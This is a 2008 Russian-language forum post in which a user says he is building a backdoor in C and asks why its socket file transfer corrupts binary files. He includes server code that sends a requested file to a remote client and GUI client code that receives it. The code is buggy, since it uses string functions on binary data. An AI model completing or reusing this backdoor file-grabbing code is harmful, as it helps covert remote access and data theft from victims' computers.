Показать сообщение отдельно

и опять я =))))
  #15  
Старый 30.12.2008, 23:01
Dobby007
Познающий
Регистрация: 07.09.2008
Сообщений: 55
Провел на форуме:
163517

Репутация: 57
Отправить сообщение для Dobby007 с помощью ICQ
Lightbulb и опять я =))))

Народ...
Вроде после долгих мучений и изучением (практически с нуля) как работать с сокетами на голом си, основную часть бэкдора сделал.
Вот-с значит... Надо теперь организовать отправку файла. Ну с текстовыми файлами проблем вообще нет никаких: накалякал код, что программка отправляла и принимала файлы ЛЮБЫХ размеров. А вот с бинарными... Т.е. например *.exe или *.jpg... не выходит че-то, проще говоря. А если точнее, не получается прочитать его. Читается какая-та определенная часть и фзё.
Вот код:
СЕРВЕР:
Код:
int sendfile(int ptr, char filename[255])
	{
	char temp[300]="";
	SOCKET client=(SOCKET)ptr;
	char filebuff[1024];
	char sendbuff[2048];
	int err,terr,i,size=0;
	FILE *fp,*fpd; //fpd специального для отладки сделал, чтоб понять в каком месте глюк возникает
	if(FileExists(filename)==True){
	fp=fopen(filename,"rb");
	fpd=fopen("filed","wb");
	int t=0;
	printf("\nSending file started:");
	ZeroMemory (&filebuff, sizeof (filebuff));
	ZeroMemory (&sendbuff, sizeof (sendbuff));
	while(1)
		{
		err=fread(filebuff,1,768,fp);
		terr=err;
		sprintf(temp,"%d",err+4);  //сюда записываю размер отправляемого пакета
		if(temp[1]==NULL)temp[1]='-';
		if(temp[2]==NULL)temp[2]='-';
		if(temp[3]==NULL)temp[3]='-';
		sprintf(sendbuff,"%s%s",temp,filebuff); //sendbuff - как вы уже поняли, массив (буфер) хранящий ту или иную часть содержимого файла
		t++;
		fputs(filebuff,fpd);
		if((size = send(client,sendbuff,strlen(sendbuff),0))== SOCKET_ERROR)  //отправляем
		return -1;
		printf("\nPacket #%d>> %d bytes read, %d of %d bytes send",t,terr,size,strlen(sendbuff));
		ZeroMemory (&filebuff, sizeof (filebuff));
		ZeroMemory (&sendbuff, sizeof (sendbuff));
		if (err<768) break; //чтение и отправка файла завершена
		}

		fclose(fp);  fclose(fpd);
		printf("\nSending file completed successfully...");
		return 1;
		}else{ //если файла не существует
		sprintf(temp,"ERROR_SENDING_FILE_TO_CLIENTFile does not exist: %s",filename);
		printf("\n%s",temp);
		send(client,temp,sizeof(temp),0);

	}
}
КЛИЕНТ (он уже с гуи):
Код:
int ret=0;char temp[20 * 1024]="";int i=0,j=0,t=0,k=0;
FILE *fp;char buff_x[20 * 1024];
MkDir("RcvdFiles");
sprintf(temp,"RcvdFiles\\%s",ExtractFilename(Edit4->Text.c_str()));  //путь для сохраняемого/принимаемого файла
unlink(temp);
		fp=fopen(temp,"wb");
		ret=512; t=0;
		while(ret>0)
		{
		strcpy(szRecvBuff,"");
		strcpy(temp,"");
		t++;
		ZeroMemory (&buff_x, sizeof (buff_x));
		ZeroMemory (&szRecvBuff, sizeof (szRecvBuff));
		ret = recv(s, szRecvBuff, 772, 0);
		if (ret != SOCKET_ERROR){
		if(t==1 && strstr(szRecvBuff,"ERROR_SENDING_FILE_TO_CLIENT")){return 2;}  //ошибка передачи файла
		strncpy(temp,szRecvBuff,4);   //четыре байта содержащие размер пакета
		k=Str2Int(temp);  //переводит строку в число
			sprintf(temp,"Пакет #%d>> Получено: %d из %d байтов. Записано: %d байтов",t,ret,k,strlen(szRecvBuff)-4);
			info(temp);  //выводит строку в MEMO
			fputs(&szRecvBuff[4],fp); 
			if(k<772){break;}
		}else{
		fputs("\nSOCKET ERROR",fp);return -1;
		}
		}
		fclose(fp);

   return 1;
Если вкратце... смысл кода такой: клиент вводит адрес до файла на сервере, тот получает этот путь, смотрит существует ли файл, и выдает "результат" обработки запроса
Скорее всего, че-то я туплю и наверное решение какое-то простое (как всегда по-жизни ) должно быть. Но блин парюсь уже два дня, не могу понять в чем дело.
Вообщем, помогите кто чем может =))

Последний раз редактировалось Dobby007; 30.12.2008 в 23:06..
 
Ответить с цитированием